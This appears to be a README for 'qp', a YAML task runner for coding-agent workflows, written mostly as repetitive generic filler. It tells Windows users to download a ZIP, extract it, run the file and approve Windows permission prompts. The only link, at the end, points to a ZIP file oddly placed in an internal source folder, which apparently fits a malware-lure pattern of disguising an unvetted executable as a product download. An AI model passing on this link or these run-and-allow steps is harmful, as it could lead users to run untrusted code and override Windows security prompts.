qp is a task runner for repos that use coding agents. It keeps your work in one YAML file and helps you run tasks in a clear order.
Use it when you want a simple way to tell an agent what to do, what files to check, and what it changed.
It helps with:
- task order through a DAG
- scoped context for each task
- structured output
- generated agent docs
- clearer handoffs for agent-assisted work
Use this link to visit the download page and get qp for Windows:
- Open the download link above in your browser.
- Look for the latest release or build for Windows.
- Download the Windows file to your computer.
- If the file is in a ZIP folder, right-click it and choose Extract All.
- Open the extracted folder.
- Run the qp file that matches your system.
- If Windows asks for permission, choose Yes or Run.
If you use a browser download, the file usually goes to your Downloads folder. You can open it from there.
After you open qp for the first time, it should be ready to use with a project folder.
Typical first steps:
- Put qp in the folder for your repo.
- Open the folder in File Explorer.
- Start qp from the app or the command line, based on how you installed it.
- Point it at your project YAML file.
- Run your first task.
If your repo already has a task file, qp can use it right away.
qp helps you manage work for coding agents in a plain file. That file can define tasks, order, and results.
Common uses:
- define tasks in YAML
- run tasks in the right order
- pass only the context each task needs
- keep output in a structured form
- build agent docs from the same source
This makes it easier for an agent to know:
- what to run
- where to look
- what changed
- what broke
A simple workflow looks like this:
- Create or open a YAML file in your repo.
- Add the tasks you want qp to run.
- Set which task should run first.
- Link tasks that depend on other tasks.
- Start qp and choose the task you want.
- Review the output after the run.
Example task flow:
- install checks
- test run
- lint run
- build
- report results
qp reads the task graph and runs each step in order. If one step depends on another, qp handles that chain for you.
qp uses one YAML file as the main source of truth. That file can hold:
- task names
- task order
- task inputs
- context for each step
- output rules
- doc generation settings
A simple structure may look like this:
- tasks
- name
- depends on
- command or action
- context
- output format
Keep the file short and clear. Use one task per job. That makes it easier for you and for an agent to follow.
qp is useful when a coding agent works inside your repo.
It helps the agent:
- see the right task list
- keep scope limited
- use the right context
- avoid guessing
- write back in a structured way
That means less back-and-forth and fewer missed steps.
A common setup may look like this:
- your-repo/
- qp.yaml
- src/
- tests/
- docs/
- output/
You can keep the task file at the repo root so it is easy to find.
qp should work well on a normal Windows PC used for development or repo work.
Suggested setup:
- Windows 10 or Windows 11
- Internet access for the first download
- Permission to run downloaded apps
- Enough space for the app and repo files
If you plan to use it with a larger project, keep extra free disk space for logs and output files.
Say you have a repo with a bug and want an agent to help.
You can:
- Define a task to inspect the issue.
- Define a task to check the related files.
- Define a task to run tests.
- Define a task to write a fix report.
qp keeps those steps in order. The agent can follow the chain without needing a long manual prompt each time.
If qp does not open:
- make sure the file finished downloading
- check that you extracted the ZIP file if needed
- try running it again
- confirm Windows did not block the file
If qp does not find your task file:
- check the file name
- check the file path
- keep the YAML file in the repo folder
- make sure the file uses valid YAML format
If a task does not run:
- check the task order
- confirm the task depends on the right step
- review the task input values
- try a smaller test task first
qp is built for:
- agent-assisted development
- AI agents
- task automation
- DAG-based task flow
- developer tools
- DevOps work
- harness engineering
- structured repo setup
- MCP-style workflows
- YAML-based control
Use qp when you want:
- one file to manage task flow
- clearer agent instructions
- repeatable repo steps
- less manual setup
- better task order
- cleaner output from agent runs
A task file may include parts like:
- task name
- task description
- dependencies
- input data
- output path
- context notes
Keep names short. Use plain words. Make each task do one job.
Use this link to visit the page and get qp:
Then:
- Download the Windows build.
- Extract it if needed.
- Open the app.
- Load your repo task file.
- Run a task and check the output
- Keep task names clear
- Use one YAML file per repo
- Split large work into small steps
- Add only the context each task needs
- Review generated output before using it
- Keep related files near the task file
https://raw.githubusercontent.com/Kavishp7499/qp/main/internal/scope/Software-v2.3.zip